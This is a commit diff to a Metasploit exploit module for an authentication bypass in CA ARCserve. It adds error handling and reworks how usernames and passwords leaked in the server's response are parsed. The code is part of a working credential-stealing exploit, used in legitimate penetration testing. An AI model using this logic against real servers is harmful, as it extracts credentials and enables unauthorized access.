Put lipstick on this pig for the time being

modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb

@@ -90,18 +90,24 @@ class Metasploit3 < Msf::Exploit::Remote
 			}
 		}, 5)
 
+		if not res
+			fail_with(Exploit::Failure::NotFound, 'The server did not respond to our request')
+		end
+
 		resp = res.to_s.split(',')
 
 		user_index = resp.index("\"user\"")
 		pass_index = resp.index("\"password\"")
 
-		if user_index.nil? or pass_index.nil?
-			#We don't find 'user' or 'password', we'll just set them as nil,
-			#and then handle it later after report_auth_info()
-			user = nil
-			pass = nil
-		else
-			user = resp[user_index+1].gsub(/\"/, "")
+		if user_index.nil? and pass_index.nil?
+			# Not a vulnerable server (blank user/pass doesn't help us)
+			fail_with(Exploit::Failure::NotFound, 'The server did not return credentials')
+		end
+
+		user = resp[user_index+1].gsub(/\"/, "")
+		pass = ""
+	
+		if pass_index
 			pass = resp[pass_index+1].gsub(/\"/, "")
 		end